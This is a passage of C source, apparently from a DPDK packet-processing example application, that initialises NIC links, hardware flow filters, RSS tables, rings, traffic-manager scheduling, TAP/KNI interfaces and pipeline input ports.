RTE_ETH_FILTER_ETHERTYPE,
RTE_ETH_FILTER_ADD,
&filter);
}
static inline int
app_link_filter_tcp_syn_add(struct app_link_params *link)
{
struct rte_eth_syn_filter filter = {
.hig_pri = 1,
.queue = link->tcp_syn_q,
};
return rte_eth_dev_filter_ctrl(link->pmd_id,
RTE_ETH_FILTER_SYN,
RTE_ETH_FILTER_ADD,
&filter);
}
static inline int
app_link_filter_ip_add(struct app_link_params *l1, struct app_link_params *l2)
{
struct rte_eth_ntuple_filter filter = {
.flags = RTE_5TUPLE_FLAGS,
.dst_ip = rte_bswap32(l2->ip),
.dst_ip_mask = UINT32_MAX, /* Enable */
.src_ip = 0,
.src_ip_mask = 0, /* Disable */
.dst_port = 0,
.dst_port_mask = 0, /* Disable */
.src_port = 0,
.src_port_mask = 0, /* Disable */
.proto = 0,
.proto_mask = 0, /* Disable */
.tcp_flags = 0,
.priority = 1, /* Lowest */
.queue = l1->ip_local_q,
};
return rte_eth_dev_filter_ctrl(l1->pmd_id,
RTE_ETH_FILTER_NTUPLE,
RTE_ETH_FILTER_ADD,
&filter);
}
static inline int
app_link_filter_ip_del(struct app_link_params *l1, struct app_link_params *l2)
{
struct rte_eth_ntuple_filter filter = {
.flags = RTE_5TUPLE_FLAGS,
.dst_ip = rte_bswap32(l2->ip),
.dst_ip_mask = UINT32_MAX, /* Enable */
.src_ip = 0,
.src_ip_mask = 0, /* Disable */
.dst_port = 0,
.dst_port_mask = 0, /* Disable */
.src_port = 0,
.src_port_mask = 0, /* Disable */
.proto = 0,
.proto_mask = 0, /* Disable */
.tcp_flags = 0,
.priority = 1, /* Lowest */
.queue = l1->ip_local_q,
};
return rte_eth_dev_filter_ctrl(l1->pmd_id,
RTE_ETH_FILTER_NTUPLE,
RTE_ETH_FILTER_DELETE,
&filter);
}
static inline int
app_link_filter_tcp_add(struct app_link_params *l1, struct app_link_params *l2)
{
struct rte_eth_ntuple_filter filter = {
.flags = RTE_5TUPLE_FLAGS,
.dst_ip = rte_bswap32(l2->ip),
.dst_ip_mask = UINT32_MAX, /* Enable */
.src_ip = 0,
.src_ip_mask = 0, /* Disable */
.dst_port = 0,
.dst_port_mask = 0, /* Disable */
.src_port = 0,
.src_port_mask = 0, /* Disable */
.proto = IPPROTO_TCP,
.proto_mask = UINT8_MAX, /* Enable */
.tcp_flags = 0,
.priority = 2, /* Higher priority than IP */
.queue = l1->tcp_local_q,
};
return rte_eth_dev_filter_ctrl(l1->pmd_id,
RTE_ETH_FILTER_NTUPLE,
RTE_ETH_FILTER_ADD,
&filter);
}
static inline int
app_link_filter_tcp_del(struct app_link_params *l1, struct app_link_params *l2)
{
struct rte_eth_ntuple_filter filter = {
.flags = RTE_5TUPLE_FLAGS,
.dst_ip = rte_bswap32(l2->ip),
.dst_ip_mask = UINT32_MAX, /* Enable */
.src_ip = 0,
.src_ip_mask = 0, /* Disable */
.dst_port = 0,
.dst_port_mask = 0, /* Disable */
.src_port = 0,
.src_port_mask = 0, /* Disable */
.proto = IPPROTO_TCP,
.proto_mask = UINT8_MAX, /* Enable */
.tcp_flags = 0,
.priority = 2, /* Higher priority than IP */
.queue = l1->tcp_local_q,
};
return rte_eth_dev_filter_ctrl(l1->pmd_id,
RTE_ETH_FILTER_NTUPLE,
RTE_ETH_FILTER_DELETE,
&filter);
}
static inline int
app_link_filter_udp_add(struct app_link_params *l1, struct app_link_params *l2)
{
struct rte_eth_ntuple_filter filter = {
.flags = RTE_5TUPLE_FLAGS,
.dst_ip = rte_bswap32(l2->ip),
.dst_ip_mask = UINT32_MAX, /* Enable */
.src_ip = 0,
.src_ip_mask = 0, /* Disable */
.dst_port = 0,
.dst_port_mask = 0, /* Disable */
.src_port = 0,
.src_port_mask = 0, /* Disable */
.proto = IPPROTO_UDP,
.proto_mask = UINT8_MAX, /* Enable */
.tcp_flags = 0,
.priority = 2, /* Higher priority than IP */
.queue = l1->udp_local_q,
};
return rte_eth_dev_filter_ctrl(l1->pmd_id,
RTE_ETH_FILTER_NTUPLE,
RTE_ETH_FILTER_ADD,
&filter);
}
static inline int
app_link_filter_udp_del(struct app_link_params *l1, struct app_link_params *l2)
{
struct rte_eth_ntuple_filter filter = {
.flags = RTE_5TUPLE_FLAGS,
.dst_ip = rte_bswap32(l2->ip),
.dst_ip_mask = UINT32_MAX, /* Enable */
.src_ip = 0,
.src_ip_mask = 0, /* Disable */
.dst_port = 0,
.dst_port_mask = 0, /* Disable */
.src_port = 0,
.src_port_mask = 0, /* Disable */
.proto = IPPROTO_UDP,
.proto_mask = UINT8_MAX, /* Enable */
.tcp_flags = 0,
.priority = 2, /* Higher priority than IP */
.queue = l1->udp_local_q,
};
return rte_eth_dev_filter_ctrl(l1->pmd_id,
RTE_ETH_FILTER_NTUPLE,
RTE_ETH_FILTER_DELETE,
&filter);
}
static inline int
app_link_filter_sctp_add(struct app_link_params *l1, struct app_link_params *l2)
{
struct rte_eth_ntuple_filter filter = {
.flags = RTE_5TUPLE_FLAGS,
.dst_ip = rte_bswap32(l2->ip),
.dst_ip_mask = UINT32_MAX, /* Enable */
.src_ip = 0,
.src_ip_mask = 0, /* Disable */
.dst_port = 0,
.dst_port_mask = 0, /* Disable */
.src_port = 0,
.src_port_mask = 0, /* Disable */
.proto = IPPROTO_SCTP,
.proto_mask = UINT8_MAX, /* Enable */
.tcp_flags = 0,
.priority = 2, /* Higher priority than IP */
.queue = l1->sctp_local_q,
};
return rte_eth_dev_filter_ctrl(l1->pmd_id,
RTE_ETH_FILTER_NTUPLE,
RTE_ETH_FILTER_ADD,
&filter);
}
static inline int
app_link_filter_sctp_del(struct app_link_params *l1, struct app_link_params *l2)
{
struct rte_eth_ntuple_filter filter = {
.flags = RTE_5TUPLE_FLAGS,
.dst_ip = rte_bswap32(l2->ip),
.dst_ip_mask = UINT32_MAX, /* Enable */
.src_ip = 0,
.src_ip_mask = 0, /* Disable */
.dst_port = 0,
.dst_port_mask = 0, /* Disable */
.src_port = 0,
.src_port_mask = 0, /* Disable */
.proto = IPPROTO_SCTP,
.proto_mask = UINT8_MAX, /* Enable */
.tcp_flags = 0,
.priority = 2, /* Higher priority than IP */
.queue = l1->sctp_local_q,
};
return rte_eth_dev_filter_ctrl(l1->pmd_id,
RTE_ETH_FILTER_NTUPLE,
RTE_ETH_FILTER_DELETE,
&filter);
}
static void
app_link_set_arp_filter(struct app_params *app, struct app_link_params *cp)
{
if (cp->arp_q != 0) {
int status = app_link_filter_arp_add(cp);
APP_LOG(app, LOW, "%s (%" PRIu32 "): "
"Adding ARP filter (queue = %" PRIu32 ")",
cp->name, cp->pmd_id, cp->arp_q);
if (status)
rte_panic("%s (%" PRIu32 "): "
"Error adding ARP filter "
"(queue = %" PRIu32 ") (%" PRId32 ")\n",
cp->name, cp->pmd_id, cp->arp_q, status);
}
}
static void
app_link_set_tcp_syn_filter(struct app_params *app, struct app_link_params *cp)
{
if (cp->tcp_syn_q != 0) {
int status = app_link_filter_tcp_syn_add(cp);
APP_LOG(app, LOW, "%s (%" PRIu32 "): "
"Adding TCP SYN filter (queue = %" PRIu32 ")",
cp->name, cp->pmd_id, cp->tcp_syn_q);
if (status)
rte_panic("%s (%" PRIu32 "): "
"Error adding TCP SYN filter "
"(queue = %" PRIu32 ") (%" PRId32 ")\n",
cp->name, cp->pmd_id, cp->tcp_syn_q,
status);
}
}
void
app_link_up_internal(struct app_params *app, struct app_link_params *cp)
{
uint32_t i;
int status;
/* For each link, add filters for IP of current link */
if (cp->ip != 0) {
for (i = 0; i < app->n_links; i++) {
struct app_link_params *p = &app->link_params[i];
/* IP */
if (p->ip_local_q != 0) {
int status = app_link_filter_ip_add(p, cp);
APP_LOG(app, LOW, "%s (%" PRIu32 "): "
"Adding IP filter (queue= %" PRIu32
", IP = 0x%08" PRIx32 ")",
p->name, p->pmd_id, p->ip_local_q,
cp->ip);
if (status)
rte_panic("%s (%" PRIu32 "): "
"Error adding IP "
"filter (queue= %" PRIu32 ", "
"IP = 0x%08" PRIx32
") (%" PRId32 ")\n",
p->name, p->pmd_id,
p->ip_local_q, cp->ip, status);
}
/* TCP */
if (p->tcp_local_q != 0) {
int status = app_link_filter_tcp_add(p, cp);
APP_LOG(app, LOW, "%s (%" PRIu32 "): "
"Adding TCP filter "
"(queue = %" PRIu32
", IP = 0x%08" PRIx32 ")",
p->name, p->pmd_id, p->tcp_local_q,
cp->ip);
if (status)
rte_panic("%s (%" PRIu32 "): "
"Error adding TCP "
"filter (queue = %" PRIu32 ", "
"IP = 0x%08" PRIx32
") (%" PRId32 ")\n",
p->name, p->pmd_id,
p->tcp_local_q, cp->ip, status);
}
/* UDP */
if (p->udp_local_q != 0) {
int status = app_link_filter_udp_add(p, cp);
APP_LOG(app, LOW, "%s (%" PRIu32 "): "
"Adding UDP filter "
"(queue = %" PRIu32
", IP = 0x%08" PRIx32 ")",
p->name, p->pmd_id, p->udp_local_q,
cp->ip);
if (status)
rte_panic("%s (%" PRIu32 "): "
"Error adding UDP "
"filter (queue = %" PRIu32 ", "
"IP = 0x%08" PRIx32
") (%" PRId32 ")\n",
p->name, p->pmd_id,
p->udp_local_q, cp->ip, status);
}
/* SCTP */
if (p->sctp_local_q != 0) {
int status = app_link_filter_sctp_add(p, cp);
APP_LOG(app, LOW, "%s (%" PRIu32
"): Adding SCTP filter "
"(queue = %" PRIu32
", IP = 0x%08" PRIx32 ")",
p->name, p->pmd_id, p->sctp_local_q,
cp->ip);
if (status)
rte_panic("%s (%" PRIu32 "): "
"Error adding SCTP "
"filter (queue = %" PRIu32 ", "
"IP = 0x%08" PRIx32
") (%" PRId32 ")\n",
p->name, p->pmd_id,
p->sctp_local_q, cp->ip,
status);
}
}
}
/* PMD link up */
status = rte_eth_dev_set_link_up(cp->pmd_id);
/* Do not panic if PMD does not provide link up functionality */
if (status < 0 && status != -ENOTSUP)
rte_panic("%s (%" PRIu32 "): PMD set link up error %"
PRId32 "\n", cp->name, cp->pmd_id, status);
/* Mark link as UP */
cp->state = 1;
}
void
app_link_down_internal(struct app_params *app, struct app_link_params *cp)
{
uint32_t i;
int status;
/* PMD link down */
status = rte_eth_dev_set_link_down(cp->pmd_id);
/* Do not panic if PMD does not provide link down functionality */
if (status < 0 && status != -ENOTSUP)
rte_panic("%s (%" PRIu32 "): PMD set link down error %"
PRId32 "\n", cp->name, cp->pmd_id, status);
/* Mark link as DOWN */
cp->state = 0;
/* Return if current link IP is not valid */
if (cp->ip == 0)
return;
/* For each link, remove filters for IP of current link */
for (i = 0; i < app->n_links; i++) {
struct app_link_params *p = &app->link_params[i];
/* IP */
if (p->ip_local_q != 0) {
int status = app_link_filter_ip_del(p, cp);
APP_LOG(app, LOW, "%s (%" PRIu32
"): Deleting IP filter "
"(queue = %" PRIu32 ", IP = 0x%" PRIx32 ")",
p->name, p->pmd_id, p->ip_local_q, cp->ip);
if (status)
rte_panic("%s (%" PRIu32
"): Error deleting IP filter "
"(queue = %" PRIu32
", IP = 0x%" PRIx32
") (%" PRId32 ")\n",
p->name, p->pmd_id, p->ip_local_q,
cp->ip, status);
}
/* TCP */
if (p->tcp_local_q != 0) {
int status = app_link_filter_tcp_del(p, cp);
APP_LOG(app, LOW, "%s (%" PRIu32
"): Deleting TCP filter "
"(queue = %" PRIu32
", IP = 0x%" PRIx32 ")",
p->name, p->pmd_id, p->tcp_local_q, cp->ip);
if (status)
rte_panic("%s (%" PRIu32
"): Error deleting TCP filter "
"(queue = %" PRIu32
", IP = 0x%" PRIx32
") (%" PRId32 ")\n",
p->name, p->pmd_id, p->tcp_local_q,
cp->ip, status);
}
/* UDP */
if (p->udp_local_q != 0) {
int status = app_link_filter_udp_del(p, cp);
APP_LOG(app, LOW, "%s (%" PRIu32
"): Deleting UDP filter "
"(queue = %" PRIu32 ", IP = 0x%" PRIx32 ")",
p->name, p->pmd_id, p->udp_local_q, cp->ip);
if (status)
rte_panic("%s (%" PRIu32
"): Error deleting UDP filter "
"(queue = %" PRIu32
", IP = 0x%" PRIx32
") (%" PRId32 ")\n",
p->name, p->pmd_id, p->udp_local_q,
cp->ip, status);
}
/* SCTP */
if (p->sctp_local_q != 0) {
int status = app_link_filter_sctp_del(p, cp);
APP_LOG(app, LOW, "%s (%" PRIu32
"): Deleting SCTP filter "
"(queue = %" PRIu32
", IP = 0x%" PRIx32 ")",
p->name, p->pmd_id, p->sctp_local_q, cp->ip);
if (status)
rte_panic("%s (%" PRIu32
"): Error deleting SCTP filter "
"(queue = %" PRIu32
", IP = 0x%" PRIx32
") (%" PRId32 ")\n",
p->name, p->pmd_id, p->sctp_local_q,
cp->ip, status);
}
}
}
static void
app_check_link(struct app_params *app)
{
uint32_t all_links_up, i;
all_links_up = 1;
for (i = 0; i < app->n_links; i++) {
struct app_link_params *p = &app->link_params[i];
struct rte_eth_link link_params;
memset(&link_params, 0, sizeof(link_params));
rte_eth_link_get(p->pmd_id, &link_params);
APP_LOG(app, HIGH, "%s (%" PRIu32 ") (%" PRIu32 " Gbps) %s",
p->name,
p->pmd_id,
link_params.link_speed / 1000,
link_params.link_status ? "UP" : "DOWN");
if (link_params.link_status == ETH_LINK_DOWN)
all_links_up = 0;
}
if (all_links_up == 0)
rte_panic("Some links are DOWN\n");
}
static uint32_t
is_any_swq_frag_or_ras(struct app_params *app)
{
uint32_t i;
for (i = 0; i < app->n_pktq_swq; i++) {
struct app_pktq_swq_params *p = &app->swq_params[i];
if ((p->ipv4_frag == 1) || (p->ipv6_frag == 1) ||
(p->ipv4_ras == 1) || (p->ipv6_ras == 1))
return 1;
}
return 0;
}
static void
app_init_link_frag_ras(struct app_params *app)
{
uint32_t i;
if (is_any_swq_frag_or_ras(app)) {
for (i = 0; i < app->n_links; i++) {
struct app_link_params *p_link = &app->link_params[i];
p_link->conf.txmode.offloads |=
DEV_TX_OFFLOAD_MULTI_SEGS;
}
}
}
static inline int
app_get_cpu_socket_id(uint32_t pmd_id)
{
int status = rte_eth_dev_socket_id(pmd_id);
return (status != SOCKET_ID_ANY) ? status : 0;
}
static inline int
app_link_rss_enabled(struct app_link_params *cp)
{
return (cp->n_rss_qs) ? 1 : 0;
}
static void
app_link_rss_setup(struct app_link_params *cp)
{
struct rte_eth_dev_info dev_info;
struct rte_eth_rss_reta_entry64 reta_conf[APP_RETA_SIZE_MAX];
uint32_t i;
int status;
/* Get RETA size */
memset(&dev_info, 0, sizeof(dev_info));
rte_eth_dev_info_get(cp->pmd_id, &dev_info);
if (dev_info.reta_size == 0)
rte_panic("%s (%u): RSS setup error (null RETA size)\n",
cp->name, cp->pmd_id);
if (dev_info.reta_size > ETH_RSS_RETA_SIZE_512)
rte_panic("%s (%u): RSS setup error (RETA size too big)\n",
cp->name, cp->pmd_id);
/* Setup RETA contents */
memset(reta_conf, 0, sizeof(reta_conf));
for (i = 0; i < dev_info.reta_size; i++)
reta_conf[i / RTE_RETA_GROUP_SIZE].mask = UINT64_MAX;
for (i = 0; i < dev_info.reta_size; i++) {
uint32_t reta_id = i / RTE_RETA_GROUP_SIZE;
uint32_t reta_pos = i % RTE_RETA_GROUP_SIZE;
uint32_t rss_qs_pos = i % cp->n_rss_qs;
reta_conf[reta_id].reta[reta_pos] =
(uint16_t) cp->rss_qs[rss_qs_pos];
}
/* RETA update */
status = rte_eth_dev_rss_reta_update(cp->pmd_id,
reta_conf,
dev_info.reta_size);
if (status != 0)
rte_panic("%s (%u): RSS setup error (RETA update failed)\n",
cp->name, cp->pmd_id);
}
static void
app_init_link_set_config(struct app_link_params *p)
{
if (p->n_rss_qs) {
p->conf.rxmode.mq_mode = ETH_MQ_RX_RSS;
p->conf.rx_adv_conf.rss_conf.rss_hf = p->rss_proto_ipv4 |
p->rss_proto_ipv6 |
p->rss_proto_l2;
}
}
static void
app_init_link(struct app_params *app)
{
uint32_t i;
app_init_link_frag_ras(app);
for (i = 0; i < app->n_links; i++) {
struct app_link_params *p_link = &app->link_params[i];
struct rte_eth_dev_info dev_info;
uint32_t link_id, n_hwq_in, n_hwq_out, j;
int status;
sscanf(p_link->name, "LINK%" PRIu32, &link_id);
n_hwq_in = app_link_get_n_rxq(app, p_link);
n_hwq_out = app_link_get_n_txq(app, p_link);
app_init_link_set_config(p_link);
APP_LOG(app, HIGH, "Initializing %s (%" PRIu32") "
"(%" PRIu32 " RXQ, %" PRIu32 " TXQ) ...",
p_link->name,
p_link->pmd_id,
n_hwq_in,
n_hwq_out);
/* LINK */
rte_eth_dev_info_get(p_link->pmd_id, &dev_info);
if (dev_info.tx_offload_capa & DEV_TX_OFFLOAD_MBUF_FAST_FREE)
p_link->conf.txmode.offloads |=
DEV_TX_OFFLOAD_MBUF_FAST_FREE;
status = rte_eth_dev_configure(
p_link->pmd_id,
n_hwq_in,
n_hwq_out,
&p_link->conf);
if (status < 0)
rte_panic("%s (%" PRId32 "): "
"init error (%" PRId32 ")\n",
p_link->name, p_link->pmd_id, status);
rte_eth_macaddr_get(p_link->pmd_id,
(struct ether_addr *) &p_link->mac_addr);
if (p_link->promisc)
rte_eth_promiscuous_enable(p_link->pmd_id);
/* RXQ */
for (j = 0; j < app->n_pktq_hwq_in; j++) {
struct app_pktq_hwq_in_params *p_rxq =
&app->hwq_in_params[j];
uint32_t rxq_link_id, rxq_queue_id;
uint16_t nb_rxd = p_rxq->size;
sscanf(p_rxq->name, "RXQ%" PRIu32 ".%" PRIu32,
&rxq_link_id, &rxq_queue_id);
if (rxq_link_id != link_id)
continue;
status = rte_eth_dev_adjust_nb_rx_tx_desc(
p_link->pmd_id,
&nb_rxd,
NULL);
if (status < 0)
rte_panic("%s (%" PRIu32 "): "
"%s adjust number of Rx descriptors "
"error (%" PRId32 ")\n",
p_link->name,
p_link->pmd_id,
p_rxq->name,
status);
p_rxq->conf.offloads = p_link->conf.rxmode.offloads;
status = rte_eth_rx_queue_setup(
p_link->pmd_id,
rxq_queue_id,
nb_rxd,
app_get_cpu_socket_id(p_link->pmd_id),
&p_rxq->conf,
app->mempool[p_rxq->mempool_id]);
if (status < 0)
rte_panic("%s (%" PRIu32 "): "
"%s init error (%" PRId32 ")\n",
p_link->name,
p_link->pmd_id,
p_rxq->name,
status);
}
/* TXQ */
for (j = 0; j < app->n_pktq_hwq_out; j++) {
struct app_pktq_hwq_out_params *p_txq =
&app->hwq_out_params[j];
uint32_t txq_link_id, txq_queue_id;
uint16_t nb_txd = p_txq->size;
sscanf(p_txq->name, "TXQ%" PRIu32 ".%" PRIu32,
&txq_link_id, &txq_queue_id);
if (txq_link_id != link_id)
continue;
status = rte_eth_dev_adjust_nb_rx_tx_desc(
p_link->pmd_id,
NULL,
&nb_txd);
if (status < 0)
rte_panic("%s (%" PRIu32 "): "
"%s adjust number of Tx descriptors "
"error (%" PRId32 ")\n",
p_link->name,
p_link->pmd_id,
p_txq->name,
status);
p_txq->conf.offloads = p_link->conf.txmode.offloads;
status = rte_eth_tx_queue_setup(
p_link->pmd_id,
txq_queue_id,
nb_txd,
app_get_cpu_socket_id(p_link->pmd_id),
&p_txq->conf);
if (status < 0)
rte_panic("%s (%" PRIu32 "): "
"%s init error (%" PRId32 ")\n",
p_link->name,
p_link->pmd_id,
p_txq->name,
status);
}
/* LINK START */
status = rte_eth_dev_start(p_link->pmd_id);
if (status < 0)
rte_panic("Cannot start %s (error %" PRId32 ")\n",
p_link->name, status);
/* LINK FILTERS */
app_link_set_arp_filter(app, p_link);
app_link_set_tcp_syn_filter(app, p_link);
if (app_link_rss_enabled(p_link))
app_link_rss_setup(p_link);
/* LINK UP */
app_link_up_internal(app, p_link);
}
app_check_link(app);
}
static void
app_init_swq(struct app_params *app)
{
uint32_t i;
for (i = 0; i < app->n_pktq_swq; i++) {
struct app_pktq_swq_params *p = &app->swq_params[i];
unsigned flags = 0;
if (app_swq_get_readers(app, p) == 1)
flags |= RING_F_SC_DEQ;
if (app_swq_get_writers(app, p) == 1)
flags |= RING_F_SP_ENQ;
APP_LOG(app, HIGH, "Initializing %s...", p->name);
app->swq[i] = rte_ring_create(
p->name,
p->size,
p->cpu_socket_id,
flags);
if (app->swq[i] == NULL)
rte_panic("%s init error\n", p->name);
}
}
static void
app_init_tm(struct app_params *app)
{
uint32_t i;
for (i = 0; i < app->n_pktq_tm; i++) {
struct app_pktq_tm_params *p_tm = &app->tm_params[i];
struct app_link_params *p_link;
struct rte_eth_link link_eth_params;
struct rte_sched_port *sched;
uint32_t n_subports, subport_id;
int status;
p_link = app_get_link_for_tm(app, p_tm);
/* LINK */
rte_eth_link_get(p_link->pmd_id, &link_eth_params);
/* TM */
p_tm->sched_port_params.name = p_tm->name;
p_tm->sched_port_params.socket =
app_get_cpu_socket_id(p_link->pmd_id);
p_tm->sched_port_params.rate =
(uint64_t) link_eth_params.link_speed * 1000 * 1000 / 8;
APP_LOG(app, HIGH, "Initializing %s ...", p_tm->name);
sched = rte_sched_port_config(&p_tm->sched_port_params);
if (sched == NULL)
rte_panic("%s init error\n", p_tm->name);
app->tm[i] = sched;
/* Subport */
n_subports = p_tm->sched_port_params.n_subports_per_port;
for (subport_id = 0; subport_id < n_subports; subport_id++) {
uint32_t n_pipes_per_subport, pipe_id;
status = rte_sched_subport_config(sched,
subport_id,
&p_tm->sched_subport_params[subport_id]);
if (status)
rte_panic("%s subport %" PRIu32
" init error (%" PRId32 ")\n",
p_tm->name, subport_id, status);
/* Pipe */
n_pipes_per_subport =
p_tm->sched_port_params.n_pipes_per_subport;
for (pipe_id = 0;
pipe_id < n_pipes_per_subport;
pipe_id++) {
int profile_id = p_tm->sched_pipe_to_profile[
subport_id * APP_MAX_SCHED_PIPES +
pipe_id];
if (profile_id == -1)
continue;
status = rte_sched_pipe_config(sched,
subport_id,
pipe_id,
profile_id);
if (status)
rte_panic("%s subport %" PRIu32
" pipe %" PRIu32
" (profile %" PRId32 ") "
"init error (% " PRId32 ")\n",
p_tm->name, subport_id, pipe_id,
profile_id, status);
}
}
}
}
#ifndef RTE_EXEC_ENV_LINUXAPP
static void
app_init_tap(struct app_params *app) {
if (app->n_pktq_tap == 0)
return;
rte_panic("TAP device not supported.\n");
}
#else
static void
app_init_tap(struct app_params *app)
{
uint32_t i;
for (i = 0; i < app->n_pktq_tap; i++) {
struct app_pktq_tap_params *p_tap = &app->tap_params[i];
struct ifreq ifr;
int fd, status;
APP_LOG(app, HIGH, "Initializing %s ...", p_tap->name);
fd = open("/dev/net/tun", O_RDWR | O_NONBLOCK);
if (fd < 0)
rte_panic("Cannot open file /dev/net/tun\n");
memset(&ifr, 0, sizeof(ifr));
ifr.ifr_flags = IFF_TAP | IFF_NO_PI; /* No packet information */
snprintf(ifr.ifr_name, IFNAMSIZ, "%s", p_tap->name);
status = ioctl(fd, TUNSETIFF, (void *) &ifr);
if (status < 0)
rte_panic("TAP setup error\n");
app->tap[i] = fd;
}
}
#endif
#ifdef RTE_LIBRTE_KNI
static int
kni_config_network_interface(uint16_t port_id, uint8_t if_up) {
int ret = 0;
if (port_id >= rte_eth_dev_count())
return -EINVAL;
ret = (if_up) ?
rte_eth_dev_set_link_up(port_id) :
rte_eth_dev_set_link_down(port_id);
return ret;
}
static int
kni_change_mtu(uint16_t port_id, unsigned int new_mtu) {
int ret;
if (port_id >= rte_eth_dev_count())
return -EINVAL;
if (new_mtu > ETHER_MAX_LEN)
return -EINVAL;
/* Set new MTU */
ret = rte_eth_dev_set_mtu(port_id, new_mtu);
if (ret < 0)
return ret;
return 0;
}
#endif /* RTE_LIBRTE_KNI */
#ifndef RTE_LIBRTE_KNI
static void
app_init_kni(struct app_params *app) {
if (app->n_pktq_kni == 0)
return;
rte_panic("Can not init KNI without librte_kni support.\n");
}
#else
static void
app_init_kni(struct app_params *app) {
uint32_t i;
if (app->n_pktq_kni == 0)
return;
rte_kni_init(app->n_pktq_kni);
for (i = 0; i < app->n_pktq_kni; i++) {
struct app_pktq_kni_params *p_kni = &app->kni_params[i];
struct app_link_params *p_link;
struct rte_eth_dev_info dev_info;
struct app_mempool_params *mempool_params;
struct rte_mempool *mempool;
struct rte_kni_conf conf;
struct rte_kni_ops ops;
/* LINK */
p_link = app_get_link_for_kni(app, p_kni);
memset(&dev_info, 0, sizeof(dev_info));
rte_eth_dev_info_get(p_link->pmd_id, &dev_info);
/* MEMPOOL */
mempool_params = &app->mempool_params[p_kni->mempool_id];
mempool = app->mempool[p_kni->mempool_id];
/* KNI */
memset(&conf, 0, sizeof(conf));
snprintf(conf.name, RTE_KNI_NAMESIZE, "%s", p_kni->name);
conf.force_bind = p_kni->force_bind;
if (conf.force_bind) {
int lcore_id;
lcore_id = cpu_core_map_get_lcore_id(app->core_map,
p_kni->socket_id,
p_kni->core_id,
p_kni->hyper_th_id);
if (lcore_id < 0)
rte_panic("%s invalid CPU core\n", p_kni->name);
conf.core_id = (uint32_t) lcore_id;
}
conf.group_id = p_link->pmd_id;
conf.mbuf_size = mempool_params->buffer_size;
conf.addr = dev_info.pci_dev->addr;
conf.id = dev_info.pci_dev->id;
memset(&ops, 0, sizeof(ops));
ops.port_id = (uint8_t) p_link->pmd_id;
ops.change_mtu = kni_change_mtu;
ops.config_network_if = kni_config_network_interface;
APP_LOG(app, HIGH, "Initializing %s ...", p_kni->name);
app->kni[i] = rte_kni_alloc(mempool, &conf, &ops);
if (!app->kni[i])
rte_panic("%s init error\n", p_kni->name);
}
}
#endif /* RTE_LIBRTE_KNI */
static void
app_init_msgq(struct app_params *app)
{
uint32_t i;
for (i = 0; i < app->n_msgq; i++) {
struct app_msgq_params *p = &app->msgq_params[i];
APP_LOG(app, HIGH, "Initializing %s ...", p->name);
app->msgq[i] = rte_ring_create(
p->name,
p->size,
p->cpu_socket_id,
RING_F_SP_ENQ | RING_F_SC_DEQ);
if (app->msgq[i] == NULL)
rte_panic("%s init error\n", p->name);
}
}
void app_pipeline_params_get(struct app_params *app,
struct app_pipeline_params *p_in,
struct pipeline_params *p_out)
{
uint32_t i;
snprintf(p_out->name, PIPELINE_NAME_SIZE, "%s", p_in->name);
snprintf(p_out->type, PIPELINE_TYPE_SIZE, "%s", p_in->type);
p_out->socket_id = (int) p_in->socket_id;
p_out->log_level = app->log_level;
/* pktq_in */
p_out->n_ports_in = p_in->n_pktq_in;
for (i = 0; i < p_in->n_pktq_in; i++) {
struct app_pktq_in_params *in = &p_in->pktq_in[i];
struct pipeline_port_in_params *out = &p_out->port_in[i];
switch (in->type) {
case APP_PKTQ_IN_HWQ:
{
struct app_pktq_hwq_in_params *p_hwq_in =
&app->hwq_in_params[in->id];
struct app_link_params *p_link =
app_get_link_for_rxq(app, p_hwq_in);
uint32_t rxq_link_id, rxq_queue_id;
sscanf(p_hwq_in->name, "RXQ%" SCNu32 ".%" SCNu32,
&rxq_link_id,
&rxq_queue_id);
out->type = PIPELINE_PORT_IN_ETHDEV_READER;
out->params.ethdev.port_id = p_link->pmd_id;
out->params.ethdev.queue_id = rxq_queue_id;
out->burst_size = p_hwq_in->burst;
break;
}
case APP_PKTQ_IN_SWQ:
{
struct app_pktq_swq_params *swq_params = &app->swq_params[in->id];
if ((swq_params->ipv4_frag == 0) && (swq_params->ipv6_frag == 0)) {
if (app_swq_get_readers(app, swq_params) == 1) {
out->type = PIPELINE_PORT_IN_RING_READER;
out->params.ring.ring = app->swq[in->id];
out->burst_size = app->swq_params[in->id].burst_read;
} else {
out->type = PIPELINE_PORT_IN_RING_MULTI_READER;
out->params.ring_multi.ring = app->swq[in->id];
out->burst_size = swq_params->burst_read;
}
} else {
if (swq_params->ipv4_frag == 1) {
struct rte_port_ring_reader_ipv4_frag_params *params =
&out->params.ring_ipv4_frag;
out->type = PIPELINE_PORT_IN_RING_READER_IPV4_FRAG;
params->ring = app->swq[in->id];
params->mtu = swq_params->mtu;
params->metadata_size = swq_params->metadata_size;
params->pool_direct =
app->mempool[swq_params->mempool_direct_id];
params->pool_indirect =
app->mempool[swq_params->mempool_indirect_id];
out->burst_size = swq_params->burst_read;
} else {
struct rte_port_ring_reader_ipv6_frag_params *params =
&out->params.ring_ipv6_frag;
out->type = PIPELINE_PORT_IN_RING_READER_IPV6_FRAG;
params->ring = app->swq[in->id];
params->mtu = swq_params->mtu;
params->metadata_size = swq_params->metadata_size;
params->pool_direct =
app->mempool[swq_params->mempool_direct_id];
params->pool_indirect =
app->mempool[swq_params->mempool_indirect_id];
out->burst_size = swq_params->burst_read;
}
}
break;
}
case APP_PKTQ_IN_TM:
{
out->type = PIPELINE_PORT_IN_SCHED_READER;
out->params.sched.sched = app->tm[in->id];
out->burst_size = app->tm_params[in->id].burst_read;
break;
}
#ifdef RTE_EXEC_ENV_LINUXAPP
case APP_PKTQ_IN_TAP:
{
struct app_pktq_tap_params *tap_params =
&app->tap_params[in->id];
struct app_mempool_params *mempool_params =
&app->mempool_params[tap_params->mempool_id];
struct rte_mempool *mempool =
app->mempool[tap_params->mempool_id];
out->type = PIPELINE_PORT_IN_FD_READER;
out->params.fd.fd = app->tap[in->id];
out->params.fd.mtu = mempool_params->buffer_size;
out->params.fd.mempool = mempool;
out->burst_size = app->tap_params[in->id].burst_read;
break;
}
#endif
#ifdef RTE_LIBRTE_KNI
case APP_PKTQ_IN_KNI:
{
out->type = PIPELINE_PORT_IN_KNI_READER;
out->params.kni.kni = app->kni[in->id];
out->burst_size = app->kni_params[in->id].burst_read;
break;
}
#endif /* RTE_LIBRTE_KNI */
case APP_PKTQ_IN_SOURCE:
{
uint32_t mempool_id =
app->source_params[in->id].mempool_id;
out->type = PIPELINE_PORT_IN_SOURCE;
out->params.source.mempool = app->mempool[mempool_id];
out->burst_size = app->source_params[in->id].burst;
out->params.source.file_name =
app->source_params[in->id].file_name;
out->params.source.n_bytes_per_pkt =
app->source_params[in->id].n_bytes_per_pkt;
break;
}
default:
break;
}
}
